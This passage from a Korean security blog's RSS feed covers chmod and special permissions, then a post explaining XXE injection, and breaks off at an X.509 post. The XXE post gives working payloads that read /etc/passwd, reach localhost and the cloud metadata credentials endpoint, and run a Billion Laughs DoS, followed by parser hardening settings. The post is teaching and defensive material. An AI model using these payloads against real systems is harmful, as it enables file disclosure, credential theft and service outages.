&lt;td style=&quot;width: 20.930233%; text-align: center;&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.900385%;&quot;&gt;정확히 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용 예시&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746943063976&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod u+x file  # 사용자에게 실행 권한 추가
chmod go-w file # 그룹과 기타 사용자에게 쓰기 권한 제거
chmod a=r file  # 모두에게 읽기 권한만 부여&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;chmod의 주요 옵션&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;옵션&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-v 또는 --verbose&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;변경사항을 자세히 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-c 또는 --changes&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;변경된 항목만 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-f 또는 --silent / --quit&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;오류 메시지 표시하지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-R 또는 --recursive&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;디렉토리 및 그 하위 항목까지 재귀적으로 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1746943181779&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod -R 755 /var/www/html
chmod -v u+x myscript.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;특수 권한&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;권한&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;숫자&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Setuid&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;4000&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;실행 시 소유자 권한으로 동작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Setgid&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;2000&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;실행 시 그룹 권한으로 동작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Sticky bit&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;1000&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;디렉토리 내에서 파일 소유자만 삭제 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1746943249361&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod 4755 file   # setuid + 755
chmod 2755 dir    # setgid + 755
chmod 1777 /tmp   # sticky bit + rwxrwxrwt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. Setuid (Set User ID)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;목적
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반 사용자가 파일 소유자의 권한으로 프로그램을 실행할 수 있게 함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;주 용도
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반 사용자가 특정 시스템 기능을 사용할 수 있게 하되, 전체 권한은 주지 않을 때&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1746943588003&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-rwsr-xr-x 1 root root /usr/bin/passwd&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/usr/bin/passwd 명령은 사용자가 자신의 비밀번호를 변경할 수 있게 하지만, 실제 변경은 &amp;nbsp;/etc/shadow 파일(루트 권한 필요)을 수정해야 함&lt;/li&gt;
&lt;li&gt;Setuid 를 통해 해당 프로그램이 루트권한으로 실행되도록 보장&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. Setgid (Set Group ID)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;목적
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디렉토리에 적용 시, 그 디렉토리 내의 모든 파일과 서브디렉토리는 자동으로 같은 그룹 소유가 됨&lt;/li&gt;
&lt;li&gt;파일에 적용 시, 실행중인 프로그램이 그룹 소유자의 권한으로 동작&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1746943892590&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod g+s shared_dir
ls -ld shared_dir
drwxr-sr-x 2 user group shared_dir&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;shared_dir에 저장되는 모든 파일의 그룹이 자동으로 group이 됨&lt;/li&gt;
&lt;li&gt;협업 시 그룹 일관성을 유지하는데 유용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. Sticky Bit&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;목적
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디렉토리에 적용하여, 해당 디렉토리 안의 파일을 소유자만 삭제 가능하게 함&lt;/li&gt;
&lt;li&gt;보안 강화 : 모든 사용자가 접근 가능한 디렉토리(예: /tmp)에서 다른 사용자의 파일 삭제 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1746944027662&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod +t /tmp
ls -ld /tmp
drwxrwxrwt 10 root root /tmp&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;마지막 t는 Sticky Bit 설정됨을 의미&lt;/li&gt;
&lt;li&gt;/tmp는 모든 사용자가 사용하지만, 각자의 파일만 삭제할 수 있음&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보보호</category>
      <category>chmod</category>
      <category>Linux</category>
      <category>리눅스</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/38</guid>
      <comments>https://defcon.tistory.com/38#entry38comment</comments>
      <pubDate>Sun, 11 May 2025 15:15:17 +0900</pubDate>
    </item>
    <item>
      <title>XXE Injection의 개념과 방어 방법</title>
      <link>https://defcon.tistory.com/37</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;XXE Injection 이란?&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;XXE Injection은 XML 파서(XML Parser)가 외부 엔티티( External Entity)를 처리하는 기능을 악용하여&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다양한 보안 취약점을 일으킬 수 있는 공격기법 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;즉, XML 문서 내에서 정의된 외부 엔티티를 통해 시스템 내부의 민감한 데이터에 접근하거나,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;서버 사이드에서 임의의 요청을 발생시키거나, DoS(Denial of Service, 서비스 거부)를 일으키는 공격입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;핵심개념&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;1. XML(eXtensible Markup Language)&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;데이터를 구조적으로 표현하기 위한 마크업 언어&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746854164280&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;user&amp;gt;
	&amp;lt;name&amp;gt; Jone&amp;lt;/name&amp;gt;
&amp;lt;/user&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2. 엔티티(Entity)&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;XML에서 데이터에 별칭(alias)을 붙이는 기능으로 내부 엔티티(Internal Entity)와 외부 엔티티(External Entity)가 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746854227820&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!ENTITY exapmple &quot;Sample Test&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2.1 External Entity(외부 엔티티)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;외부 리소스(파일, URL 등)를 참조할 수 있는 엔티티&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;공격자가 이 기능을 이용해 서버 내부 파일이나 네트워크 리소스에 접근을 시도할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746854315707&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!ENTITY xxe SYSTEM &quot;file:///etec/passwd&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2.2 Internal Entity(내부 엔티티)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #333333; text-align: start;&quot;&gt;XML 문서 내부에서 직접 정의된 값&lt;/span&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746854877384&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE note [
    &amp;lt;!ENTITY author &quot;John Doe&quot;&amp;gt;
]&amp;gt;
&amp;lt;note&amp;gt;
    &amp;lt;to&amp;gt;&amp;amp;author;&amp;lt;/to&amp;gt;
    &amp;lt;from&amp;gt;Admin&amp;lt;/from&amp;gt;
    &amp;lt;body&amp;gt;Hello!&amp;lt;/body&amp;gt;
&amp;lt;/note&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;XXE 취약점 발생 조건&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다음은 전형적인 XXE 공격 예제 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746854382029&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [
    &amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;
]&amp;gt;
&amp;lt;user&amp;gt;
    &amp;lt;name&amp;gt;&amp;amp;xxe;&amp;lt;/name&amp;gt;
&amp;lt;/user&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 XML을 파서가 처리하면 &amp;amp;xxe;가 file:///etc/passwd의 내용으로 치환됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;결과저개으로 공격자는 서버의 민감한 파일 내용을 획득할 수 있게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;공격 영향&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;로컬 파일 열람&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;file:// 프로토콜을 통해 시스템 파일 읽기&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746855076108&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;
]&amp;gt;
&amp;lt;user&amp;gt;
  &amp;lt;name&amp;gt;&amp;amp;xxe;&amp;lt;/name&amp;gt;
&amp;lt;/user&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;SSRF(서버 사이드 요청 위조)&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;http:// &amp;nbsp;또는 ftp:// 프로토콜을 이용하여 냅주망으로 요청을 발생&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746855134748&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY xxe SYSTEM &quot;http://localhost/admin&quot;&amp;gt;
]&amp;gt;
&amp;lt;request&amp;gt;
  &amp;lt;target&amp;gt;&amp;amp;xxe;&amp;lt;/target&amp;gt;
&amp;lt;/request&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;DoS&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;수백만 개의 엔티티 참조를 재귀적으로 생성해 메모리를 고갈시키는 &quot;Billion Laughs&quot; 공격&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746855090912&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE lolz [
  &amp;lt;!ENTITY lol &quot;lol&quot;&amp;gt;
  &amp;lt;!ENTITY lol1 &quot;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&quot;&amp;gt;
  &amp;lt;!ENTITY lol2 &quot;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&quot;&amp;gt;
  &amp;lt;!ENTITY lol3 &quot;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&quot;&amp;gt;
  &amp;lt;!ENTITY lol4 &quot;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&quot;&amp;gt;
  &amp;lt;!ENTITY lol5 &quot;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&quot;&amp;gt;
  &amp;lt;!ENTITY lol6 &quot;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&quot;&amp;gt;
  &amp;lt;!ENTITY lol7 &quot;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&quot;&amp;gt;
  &amp;lt;!ENTITY lol8 &quot;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&quot;&amp;gt;
  &amp;lt;!ENTITY lol9 &quot;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&quot;&amp;gt;
]&amp;gt;
&amp;lt;data&amp;gt;&amp;amp;lol9;&amp;lt;/data&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;데이터 유출 및 권한 상승&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;클라우드 서비스 메타데이터 접근 등&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746855170291&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY xxe SYSTEM &quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot;&amp;gt;
]&amp;gt;
&amp;lt;credentials&amp;gt;
  &amp;lt;access&amp;gt;&amp;amp;xxe;&amp;lt;/access&amp;gt;
&amp;lt;/credentials&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;방어방법&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;외부엔티티 비활성화&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1746854690939&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;factory.setFeature(&quot;http://xml.org/sax/features/external-general-entities&quot;, false);
factory.setFeature(&quot;http://xml.org/sax/features/external-parameter-entities&quot;, false);
factory.setFeature(&quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&quot;, false);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;DTD 해석 비활성화&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1746854713415&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;factory.setFeature(&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;, true);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;보안 라이브러리 사용&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;SAX, DOM 대신 안전한 XML 파서 라이브러리를 사용&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;입력 검증 및 화이트리스트 적용&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;클라이언트로부터 받은 XML 데이터는 반드시 형식과 내용을 검증&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;최신 보안 패치 적용&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;사용중인 파서 라이브러리, 프레임워크의 최신 보안 업데이트 적용&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>XML</category>
      <category>xmlparser</category>
      <category>xml파서</category>
      <category>xxeinjection</category>
      <category>xxe인젝션</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/37</guid>
      <comments>https://defcon.tistory.com/37#entry37comment</comments>
      <pubDate>Sat, 10 May 2025 14:33:21 +0900</pubDate>
    </item>
    <item>
      <title>X.509 인증서의 개념, Openssl을 사용한 인증서 생성 방법</title>
      <link>https://defcon.tistory.com/36</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;X.509 인증서란&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
